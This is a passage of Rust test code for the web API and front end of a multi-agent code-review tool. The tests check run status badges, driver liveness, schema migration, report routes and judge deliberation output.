16809 .iter()
16810 .map(|r| (r["id"].as_str().expect("an id"), r))
16811 .collect();
16812 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16813 assert_eq!(
16814 rows[none_run.id.as_str()]["unmerged_by_design"],
16815 true,
16816 "a mode-none Ready must be flagged in the list"
16817 );
16818 assert_eq!(
16819 rows[pr_run.id.as_str()]["unmerged_by_design"],
16820 false,
16821 "a Ready reached by a closed pull request is a different case"
16822 );
16823
16824 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16825 assert_eq!(none_detail["status"], "ready");
16826 assert_eq!(none_detail["unmerged_by_design"], true);
16827
16828 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16829 assert_eq!(pr_detail["unmerged_by_design"], false);
16830 }
16831
16832 #[tokio::test]
16837 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16838 let f = Fixture::start().await;
16839 let id = "20260902-140502-bbbb";
16843 let mut state = RunState::new(
16844 PathBuf::from("/repo/magi"),
16845 "main".to_owned(),
16846 "0123456789abcdef".to_owned(),
16847 "Add a web UI".to_owned(),
16848 Config::default(),
16849 );
16850 state.id = id.to_owned();
16851 state.status = RunStatus::Judging;
16852 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16853 let dir = f.runs().join(id);
16854 std::fs::create_dir_all(&dir).expect("run dir");
16855 std::fs::write(
16856 dir.join("run.json"),
16857 serde_json::to_string_pretty(&state).expect("serialize run"),
16858 )
16859 .expect("write run.json");
16860
16861 let cold = f.get(&format!("/api/runs/{id}")).await.json();
16867 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16868 assert_eq!(cold["live"], "unknown", "{cold}");
16869
16870 write_daemon(f.home.path(), Timestamp::now());
16873 let warm = f.get(&format!("/api/runs/{id}")).await.json();
16874 assert_eq!(warm["live"], "live", "{warm}");
16875 }
16876
16877 #[test]
16878 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16879 let home = tempfile::tempdir().expect("temp home");
16880 let runs = home.path().join("runs");
16881 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16882 let mut state = RunState::new(
16883 PathBuf::from("/repo/magi"),
16884 "main".to_owned(),
16885 "0123456789abcdef".to_owned(),
16886 "Generated review context, not authored task criteria".to_owned(),
16887 Config::default(),
16888 );
16889 state.origin = origin;
16890 state.status = RunStatus::Blocked;
16891 state.driver_exited = false;
16893 state.gate_ran = true;
16894 let expected = serde_json::to_value(&state).expect("serialize current state");
16895 let mut legacy = expected.clone();
16896 legacy["schema"] = serde_json::json!(13);
16897 legacy.as_object_mut().unwrap().remove("task_instruction");
16898 let dir = runs.join(&state.id);
16899 std::fs::create_dir_all(&dir).expect("run dir");
16900 let path = dir.join("run.json");
16901 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16902 std::fs::write(&path, &body).expect("write legacy run");
16903
16904 for loaded in [
16905 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16906 read_run(&runs, &state.id).expect("web migration"),
16907 ] {
16908 assert_eq!(loaded.schema, crate::run::SCHEMA);
16909 assert!(loaded.task_instruction.is_none());
16910 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16911 }
16912 assert_eq!(runs_unreadable(&runs), 0);
16913 assert_eq!(std::fs::read(&path).unwrap(), body);
16914 }
16915 }
16916
16917 #[tokio::test]
16920 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16921 let f = Fixture::start().await;
16922 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16923 let mut state = RunState::new(
16924 PathBuf::from("/repo/magi"),
16925 "main".to_owned(),
16926 "0123456789abcdef".to_owned(),
16927 "Add a web UI".to_owned(),
16928 Config::default(),
16929 );
16930 state.id = id.to_owned();
16931 state.origin = origin;
16932 let mut value = serde_json::to_value(&state).expect("serialize run");
16933 if let Some(schema) = schema {
16934 value["schema"] = serde_json::json!(schema);
16935 value.as_object_mut().unwrap().remove("origin");
16936 }
16937 let dir = f.runs().join(id);
16938 std::fs::create_dir_all(&dir).expect("run dir");
16939 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16940 };
16941 write(
16942 "20260930-092817-ec34",
16943 Some(crate::run::Origin::from_agent_env(
16944 Some(("4a7b".to_owned(), "chat".to_owned())),
16945 None,
16946 )),
16947 None,
16948 );
16949 write("20260930-092817-0ld1", None, Some(12));
16950
16951 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16952 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16953 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16954
16955 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16956 assert_eq!(
16957 old["origin_label"], "origin unknown (started before origins were recorded)",
16958 "{old}"
16959 );
16960 assert!(old["origin"].is_null(), "{old}");
16961
16962 let list = f.get("/api/runs").await.json();
16963 let labels: Vec<_> = list
16964 .as_array()
16965 .unwrap()
16966 .iter()
16967 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16968 .collect();
16969 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16970 }
16971
16972 #[tokio::test]
16979 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16980 let f = Fixture::start().await;
16981 let id = "20260922-090000-cccc";
16982 let mut state = RunState::new(
16983 PathBuf::from("/repo/magi"),
16984 "main".to_owned(),
16985 "0123456789abcdef".to_owned(),
16986 "Review only".to_owned(),
16987 Config::default(),
16988 );
16989 state.id = id.to_owned();
16990 state.status = RunStatus::Reviewing;
16991 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16992 state.driver_pid = Some(std::process::id());
16998 state.driver_started_at = Some(
16999 crate::proc::process_started_at(std::process::id())
17000 .expect("this test process's own start time must be queryable"),
17001 );
17002 let dir = f.runs().join(id);
17003 std::fs::create_dir_all(&dir).expect("run dir");
17004 std::fs::write(
17005 dir.join("run.json"),
17006 serde_json::to_string_pretty(&state).expect("serialize run"),
17007 )
17008 .expect("write run.json");
17009
17010 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17011 assert_eq!(detail["live"], "live", "{detail}");
17012 }
17013
17014 #[tokio::test]
17020 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17021 let f = Fixture::start().await;
17022 let id = "20260922-090100-dddd";
17023 let mut state = RunState::new(
17024 PathBuf::from("/repo/magi"),
17025 "main".to_owned(),
17026 "0123456789abcdef".to_owned(),
17027 "Review only".to_owned(),
17028 Config::default(),
17029 );
17030 state.id = id.to_owned();
17031 state.status = RunStatus::Reviewing;
17032 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17033 state.driver_pid = Some(std::process::id());
17038 state.driver_started_at = Some("1".to_owned());
17039 let dir = f.runs().join(id);
17040 std::fs::create_dir_all(&dir).expect("run dir");
17041 std::fs::write(
17042 dir.join("run.json"),
17043 serde_json::to_string_pretty(&state).expect("serialize run"),
17044 )
17045 .expect("write run.json");
17046
17047 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17048 assert_eq!(detail["live"], "dead", "{detail}");
17049 }
17050
17051 #[test]
17055 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17056 let mk = |id: &str, pid: Option<u32>| {
17057 let mut s = RunState::new(
17058 PathBuf::from("/repo/magi"),
17059 "main".to_owned(),
17060 "0123456789abcdef".to_owned(),
17061 "Add a web UI".to_owned(),
17062 Config::default(),
17063 );
17064 s.id = id.to_owned();
17065 s.driver_pid = pid;
17066 s.driver_started_at = Some("1790000000".to_owned());
17067 s
17068 };
17069 let states = vec![
17070 mk("20260902-140502-aaaa", Some(77)),
17071 mk("20260902-140502-bbbb", Some(77)),
17072 mk("20260902-140502-cccc", Some(77)),
17073 mk("20260902-140502-dddd", None),
17074 ];
17075 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17076 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17077 let sup: HashMap<String, String> = [(
17078 "20260902-140502-aaaa".to_owned(),
17079 "20260902-140502-cccc".to_owned(),
17080 )]
17081 .into();
17082
17083 let status_calls = std::cell::Cell::new(0);
17084 let identity_calls = std::cell::Cell::new(0);
17085 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17086 |_| {
17087 status_calls.set(status_calls.get() + 1);
17088 Some(true)
17089 },
17090 |_| {
17091 identity_calls.set(identity_calls.get() + 1);
17092 Some("1790000000".to_owned())
17093 },
17094 ));
17095 let rows = summarize(
17096 states,
17097 &open,
17098 &claimed,
17099 &sup,
17100 |p| probe.borrow_mut().status(p),
17101 |p| probe.borrow_mut().started_at(p),
17102 );
17103
17104 assert_eq!(status_calls.get(), 1, "one pid, one status query");
17105 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17106 assert_eq!(rows.len(), 4);
17107 assert!(!rows[0].waiting && rows[1].waiting);
17108 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17109 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17110 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17111 assert_eq!(rows[1].superseded_by, None);
17112 }
17113
17114 #[test]
17115 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17116 let mut state = RunState::new(
17117 PathBuf::from("/repo/magi"),
17118 "main".to_owned(),
17119 "0123456789abcdef".to_owned(),
17120 "Review only".to_owned(),
17121 Config::default(),
17122 );
17123 state.id = "20260922-090200-dead".to_owned();
17124 state.status = RunStatus::Reviewing;
17125 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17126 .expect("serialize list row");
17127 assert_eq!(row["status"], "reviewing");
17128 assert_eq!(row["display_status"], "stale");
17129 assert_eq!(row["live"], "dead", "{row}");
17130 assert!(!row["done"].as_bool().unwrap());
17131 }
17132
17133 #[test]
17134 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17135 use crate::run::Liveness::{Dead, Live, Unknown};
17136 let mut state = RunState::new(
17137 PathBuf::from("/repo/magi"),
17138 "main".to_owned(),
17139 "abc".to_owned(),
17140 "Review only".to_owned(),
17141 Config::default(),
17142 );
17143 for (status, parked, node, waiting, live, expected) in [
17144 (
17145 RunStatus::Judging,
17146 true,
17147 "github-text",
17148 false,
17149 Dead,
17150 "parked",
17151 ),
17152 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17153 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17154 (
17155 RunStatus::Judging,
17156 true,
17157 "github-text",
17158 true,
17159 Dead,
17160 "waiting",
17161 ),
17162 (
17163 RunStatus::Judging,
17164 false,
17165 "github-text",
17166 true,
17167 Dead,
17168 "waiting",
17169 ),
17170 (
17171 RunStatus::Judging,
17172 false,
17173 "github-text",
17174 false,
17175 Dead,
17176 "stale",
17177 ),
17178 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17179 (RunStatus::Judging, true, "park", false, Live, "judging"),
17180 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17181 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17182 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17183 (
17184 RunStatus::Blocked,
17185 true,
17186 "github-text",
17187 true,
17188 Dead,
17189 "waiting",
17190 ),
17191 ] {
17192 state.status = status;
17193 state.parked = parked;
17194 state.events.clear();
17195 state.event(
17196 "park",
17197 "an earlier park does not determine the latest state",
17198 );
17199 state.event(node, "message is not used for classification");
17200 let summary = RunSummary::of(&state, waiting, live);
17201 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17202 assert_eq!(
17203 summary.display_status, expected,
17204 "{status:?}/{node}/{live:?}"
17205 );
17206 assert_eq!(detail.display_status, summary.display_status);
17207 assert_eq!(detail.waiting, summary.waiting);
17208 }
17209 state.status = RunStatus::Judging;
17210 state.parked = false;
17211 state.events.clear();
17212 assert_eq!(run_display_status(&state, false, Dead), "stale");
17213 }
17214
17215 #[test]
17216 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17217 use crate::run::Liveness::{Dead, Live, Unknown};
17218 let mut state = RunState::new(
17219 PathBuf::from("/repo/magi"),
17220 "main".to_owned(),
17221 "abc".to_owned(),
17222 "Badge".to_owned(),
17223 Config::default(),
17224 );
17225 for (status, waiting, live, superseded, expected) in [
17226 (RunStatus::Gating, false, Dead, false, "stale"),
17227 (RunStatus::Gating, false, Dead, true, "superseded"),
17228 (RunStatus::Gating, false, Unknown, true, "superseded"),
17229 (RunStatus::Gating, true, Dead, true, "superseded"),
17230 (RunStatus::Gating, true, Dead, false, "waiting"),
17231 (RunStatus::Gating, false, Unknown, false, "gating"),
17232 (RunStatus::Gating, false, Live, true, "gating"),
17233 (RunStatus::Gating, true, Live, true, "waiting"),
17234 (RunStatus::Merged, false, Dead, true, "merged"),
17235 (RunStatus::Blocked, false, Dead, true, "blocked"),
17236 ] {
17237 state.status = status;
17238 let display = run_display_status(&state, waiting, live);
17239 assert_eq!(
17240 run_badge_status(&state, &display, live, superseded),
17241 expected,
17242 "{status:?}/{live:?}/superseded={superseded}"
17243 );
17244 }
17245 }
17246
17247 #[test]
17248 fn summarize_and_detail_expose_badge_status() {
17249 use crate::run::Liveness::Dead;
17250 let mut state = RunState::new(
17251 PathBuf::from("/repo/magi"),
17252 "main".to_owned(),
17253 "abc".to_owned(),
17254 "Badge".to_owned(),
17255 Config::default(),
17256 );
17257 state.status = RunStatus::Gating;
17258 let none = HashSet::new();
17259 let id = state.id.clone();
17260 let mut by = HashMap::new();
17261 let rows = summarize(
17262 [state.clone()],
17263 &none,
17264 &none,
17265 &by,
17266 |_| Some(false),
17267 |_| None,
17268 );
17269 assert_eq!(rows[0].badge_status, rows[0].display_status);
17271 by.insert(id, "20260901-000000-913b".to_owned());
17272 let detail = RunDetailView::of(
17273 state.clone(),
17274 false,
17275 Dead,
17276 Some("913b".to_owned()),
17277 None,
17278 None,
17279 );
17280 assert_eq!(detail.badge_status, "superseded");
17281 let json = serde_json::to_value(&detail).unwrap();
17282 assert_eq!(json["badge_status"], "superseded");
17283 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17284 assert_eq!(detail.badge_status, "stale");
17285 }
17286
17287 #[tokio::test]
17288 async fn run_display_status_routes_share_the_open_question_store() {
17289 let f = Fixture::start().await;
17290 let id = "20260922-090200-abcd";
17291 write_run(&f.runs(), id, RunStatus::Judging);
17292 let mut state = read_run(&f.runs(), id).unwrap();
17293 state.parked = true;
17294 state.driver_exited = true;
17295 state.event("github-text", "waiting for the owner");
17296 state.save_under(f.home.path()).unwrap();
17297 let mut task = Task::new(
17298 "resumed task".to_owned(),
17299 "do it".to_owned(),
17300 PathBuf::from("/repo"),
17301 Source::Human,
17302 );
17303 task.runs = vec![id.to_owned(), id.to_owned()];
17304 f.queue().put(&mut task).unwrap();
17305 let store = f.questions();
17306 let mut q = Question::new(
17307 id.to_owned(),
17308 "github-text".to_owned(),
17309 "owner".to_owned(),
17310 "Approve the text?".to_owned(),
17311 String::new(),
17312 Vec::new(),
17313 );
17314 store.put(&mut q).unwrap();
17315 for expected in ["waiting", "parked"] {
17316 let list = f.get("/api/runs").await.json();
17317 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17318 assert_eq!(list[0]["display_status"], expected);
17319 assert_eq!(detail["display_status"], expected);
17320 assert_eq!(detail["waiting"], list[0]["waiting"]);
17321 assert_eq!(list[0]["badge_status"], expected);
17322 assert_eq!(detail["badge_status"], expected);
17323 assert!(list[0]["superseded_by"].is_null());
17324 assert!(detail["superseded_by"].is_null());
17325 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17326 let history = task_detail["history"].as_array().unwrap();
17327 assert_eq!(history.len(), 2);
17328 assert!(history[0]["badge"].is_null());
17329 assert_eq!(history[1]["badge"], expected);
17330 q.status = ask::QuestionStatus::Answered;
17331 store.put(&mut q).unwrap();
17332 }
17333 }
17334
17335 #[tokio::test]
17336 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17337 let f = Fixture::start().await;
17338 let id = "20260922-090200-abcd";
17339 write_run(&f.runs(), id, RunStatus::Judging);
17340 let mut state = read_run(&f.runs(), id).unwrap();
17341 state.parked = true;
17342 state.driver_exited = true;
17343 state.event("park", "stopped at a node boundary");
17344 state.save_under(f.home.path()).unwrap();
17345
17346 for expected in ["parked", "stale"] {
17347 let list = f.get("/api/runs").await.json();
17348 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17349 assert_eq!(list[0]["live"], "dead");
17350 assert_eq!(list[0]["display_status"], expected);
17351 assert_eq!(detail["display_status"], expected);
17352 state.parked = false;
17355 state.save_under(f.home.path()).unwrap();
17356 }
17357 }
17358
17359 #[tokio::test]
17360 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17361 let f = Fixture::start().await;
17362 for id in [
17363 "20260902-140501-aaaa",
17364 "20260902-140502-bbbb",
17365 "20260902-140503-cccc",
17366 ] {
17367 write_run(&f.runs(), id, RunStatus::Merged);
17368 }
17369
17370 let all = f.get("/api/runs").await.json();
17371 let capped = f.get("/api/runs?limit=2").await.json();
17372
17373 assert_eq!(all[0]["id"], "20260902-140503-cccc");
17374 assert_eq!(all.as_array().map(Vec::len), Some(3));
17375 assert_eq!(capped.as_array().map(Vec::len), Some(2));
17376 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17377 }
17378
17379 #[tokio::test]
17380 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17381 let f = Fixture::start().await;
17382 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17383
17384 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17385
17386 assert_eq!(res.status, 200);
17387 assert!(
17388 res.headers
17389 .contains("content-type: text/plain; charset=utf-8"),
17390 "a browser must render it, not download it: {}",
17391 res.headers
17392 );
17393 assert!(
17397 res.body.contains("20260902-140501-a1b2"),
17398 "the report is about the run that was asked for: {}",
17399 res.body
17400 );
17401 }
17402
17403 #[tokio::test]
17404 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17405 crate::run::pin_test_home();
17407 let f = Fixture::start().await;
17408 let id = "20260902-140501-a1b2";
17409 write_run(&f.runs(), id, RunStatus::Stalled);
17410 let path = f.runs().join(id).join("run.json");
17413 let mut v: serde_json::Value =
17414 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17415 v["tally"] = serde_json::json!({
17416 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17417 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17418 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17419 "met_quorum": false, "rankings": 1
17420 });
17421 v["reviews"] = serde_json::json!([{
17422 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17423 "e2e_deferred": true,
17424 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17425 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17426 ]}]
17427 }]);
17428 std::fs::write(&path, v.to_string()).unwrap();
17429 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17430 std::fs::write(
17431 f.runs().join("20260902-140502-dead").join("run.json"),
17432 "{not json",
17433 )
17434 .unwrap();
17435
17436 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17437
17438 assert_eq!(res.status, 200, "{}", res.body);
17439 assert!(res.headers.contains("content-type: application/json"));
17440 let j = res.json();
17441 assert_eq!(j["schema"], 1);
17442 assert_eq!(j["header"]["id"], id);
17443 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17444 let kinds: Vec<&str> = j["sections"]
17445 .as_array()
17446 .unwrap()
17447 .iter()
17448 .map(|s| s["kind"].as_str().unwrap())
17449 .collect();
17450 assert_eq!(kinds, ["candidates", "tally", "review"]);
17451 let tally = &j["sections"][1]["tally"];
17452 assert_eq!(
17453 (tally["decided"].clone(), tally["provisional"].clone()),
17454 (false.into(), true.into())
17455 );
17456 let round = &j["sections"][2]["rounds"][0];
17457 assert_eq!(round["e2e"]["state"], "deferred");
17458 assert_eq!(round["findings"][0]["severity"], "major");
17459 assert_eq!(round["findings"][0]["blocking"], true);
17460 assert_eq!(round["findings"][0]["state"], "open");
17461
17462 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17464
17465 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17467 assert_ne!(bad.status, 200, "{}", bad.body);
17468 assert_eq!(
17469 bad.status,
17470 f.get("/api/runs/20260902-140502-dead/report").await.status
17471 );
17472 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17473 assert_eq!(
17474 f.get("/api/runs/20260902-999999-ffff/report.json")
17475 .await
17476 .status,
17477 404
17478 );
17479 }
17480
17481 #[tokio::test]
17482 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17483 crate::run::pin_test_home();
17484 let f = Fixture::start().await;
17485 let id = "20260902-140503-delib";
17486 write_run(&f.runs(), id, RunStatus::Merged);
17487 let path = f.runs().join(id).join("run.json");
17488 let mut v: serde_json::Value =
17489 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17490 v["judgements"] = serde_json::json!([
17491 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17492 ]);
17493 v["tally"] = serde_json::json!({
17494 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17495 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17496 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17497 "met_quorum": true, "rankings": 1
17498 });
17499 v["deliberation"] = serde_json::json!([
17500 {
17501 "round": 1,
17502 "turns": [
17503 {
17504 "judge": 1,
17505 "agent": "judge-1",
17506 "body": "I prefer candidate **A** because it has cleaner tests.",
17507 "tentative": "A"
17508 }
17509 ]
17510 },
17511 {
17512 "round": 2,
17513 "turns": [
17514 {
17515 "judge": 1,
17516 "agent": "judge-1",
17517 "body": "Still thinking, no choice yet.",
17518 "tentative": null
17519 }
17520 ]
17521 }
17522 ]);
17523 std::fs::write(&path, v.to_string()).unwrap();
17524
17525 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17526 assert_eq!(res.status, 200, "{}", res.body);
17527 let j = res.json();
17528 let judging = j["sections"]
17529 .as_array()
17530 .unwrap()
17531 .iter()
17532 .find(|s| s["kind"] == "judging")
17533 .expect("judging section exists");
17534
17535 let delib_lines = judging["deliberation"].as_array().unwrap();
17537 assert_eq!(delib_lines.len(), 2);
17538 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17539 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17540
17541 let rounds = judging["rounds"].as_array().unwrap();
17543 assert_eq!(rounds.len(), 2);
17544 let r1_t0 = &rounds[0]["turns"][0];
17545 assert_eq!(r1_t0["judge"], 1);
17546 assert_eq!(r1_t0["agent"], "judge-1");
17547 assert_eq!(r1_t0["tentative"], "A");
17548 assert_eq!(
17549 r1_t0["body"],
17550 "I prefer candidate **A** because it has cleaner tests."
17551 );
17552 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17553
17554 let r2_t0 = &rounds[1]["turns"][0];
17555 assert_eq!(r2_t0["judge"], 1);
17556 assert_eq!(r2_t0["agent"], "judge-1");
17557 assert!(r2_t0["tentative"].is_null());
17558 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17559 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17560
17561 let id_empty = "20260902-140504-nodelib";
17563 write_run(&f.runs(), id_empty, RunStatus::Merged);
17564 let path_empty = f.runs().join(id_empty).join("run.json");
17565 let mut v_empty: serde_json::Value =
17566 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17567 v_empty["judgements"] = serde_json::json!([
17568 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17569 ]);
17570 v_empty["deliberation"] = serde_json::json!([]);
17571 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17572
17573 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17574 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17575 let j_empty = res_empty.json();
17576 let judging_empty = j_empty["sections"]
17577 .as_array()
17578 .unwrap()
17579 .iter()
17580 .find(|s| s["kind"] == "judging")
17581 .expect("judging section exists");
17582 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17583 }
17584
17585 #[tokio::test]
17586 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17587 let f = Fixture::start().await;
17588
17589 let html = f.get("/").await;
17590 let css = f.get("/app.css").await;
17591 let js = f.get("/app.js").await;
17592
17593 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17594 assert!(
17595 html.headers
17596 .contains("content-type: text/html; charset=utf-8")
17597 );
17598 assert!(css.headers.contains("content-type: text/css"));
17599 assert!(js.headers.contains("content-type: text/javascript"));
17600 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17601 }
17602
17603 #[test]
17604 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17605 let body = |name: &str| {
17606 let at = APP_JS
17607 .find(name)
17608 .unwrap_or_else(|| panic!("{name} missing"));
17609 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17610 };
17611 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17612 let note = body("function landRoundNote");
17613 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17614 assert!(note.contains("Land round ${round}"));
17615 let land = body("function renderLand");
17616 let note_at = land
17617 .find("landRoundNote(pr)")
17618 .expect("renderLand uses the note");
17619 assert!(
17620 note_at
17621 < land
17622 .find("roundRail(pr)")
17623 .expect("renderLand uses the rail")
17624 );
17625 }
17626
17627 #[test]
17628 fn the_runs_page_redesign_keeps_its_guards() {
17629 let body = |name: &str| {
17630 let at = APP_JS
17631 .find(name)
17632 .unwrap_or_else(|| panic!("{name} missing"));
17633 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17634 };
17635 let land = body("function renderLand");
17637 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17638 assert!(
17639 !land.contains("box.append("),
17640 "renderLand must use append()"
17641 );
17642 assert!(land.contains("append(box, ["));
17643 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17645 assert!(
17646 body("function applyRoute")
17647 .contains("route.name !== state.route.name || route.id !== state.route.id")
17648 );
17649 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17651 assert!(!INDEX_HTML.contains("advise-converge"));
17652 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17653 assert!(APP_JS.contains("provisional"));
17654 for id in [
17655 "run-tab-overview",
17656 "run-tab-timeline",
17657 "run-tab-report",
17658 "run-report",
17659 "runs-scope",
17660 ] {
17661 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17662 }
17663 assert!(!INDEX_HTML.contains("runs-tree"));
17664 assert!(!INDEX_HTML.contains("run-raw-panel"));
17665 assert!(APP_JS.contains("resume"));
17667 assert!(APP_JS.contains("unreadable"));
17669 }
17670
17671 #[test]
17672 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17673 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17674 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17675 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17676 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17677 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17678 assert!(APP_JS.contains("unreadable` : null"));
17680 }
17681
17682 #[test]
17683 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17684 let mut state = RunState::new(
17685 "/repo".into(),
17686 "main".into(),
17687 "abc".into(),
17688 "task".into(),
17689 crate::config::Config::default(),
17690 );
17691 state.status = RunStatus::Blocked;
17692 state.gate_ran = true;
17693 state.gate.push(crate::run::CommandOutcome {
17694 command: "cargo make check".into(),
17695 code: Some(1),
17696 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17697 duration_ms: 0,
17698 resource_blocked: false,
17699 });
17700 let view = RunDetailView::of(
17701 state,
17702 false,
17703 crate::run::Liveness::Unknown,
17704 None,
17705 None,
17706 None,
17707 );
17708 let value = serde_json::to_value(view).unwrap();
17709 assert_eq!(
17710 value["stop_reason"],
17711 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17712 );
17713 }
17714
17715 #[test]
17716 fn the_run_detail_payload_says_whether_the_run_is_done() {
17717 for (status, done) in [
17719 (RunStatus::Superseded, true),
17720 (RunStatus::Blocked, true),
17721 (RunStatus::Landing, false),
17722 ] {
17723 let mut state = RunState::new(
17724 std::path::PathBuf::from("/repo"),
17725 "main".to_owned(),
17726 "abc".to_owned(),
17727 "x".to_owned(),
17728 crate::config::Config::default(),
17729 );
17730 state.status = status;
17731 let v = serde_json::to_value(RunDetailView::of(
17732 state,
17733 false,
17734 crate::run::Liveness::Unknown,
17735 None,
17736 None,
17737 None,
17738 ))
17739 .unwrap();
17740 assert_eq!(v["done"], done, "{status:?}");
17741 }
17742 }
17743
17744 fn has_strong(nodes: &[md::Node]) -> bool {
17746 serde_json::to_string(nodes).unwrap().contains("strong")
17747 }
17748
17749 #[test]
17750 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
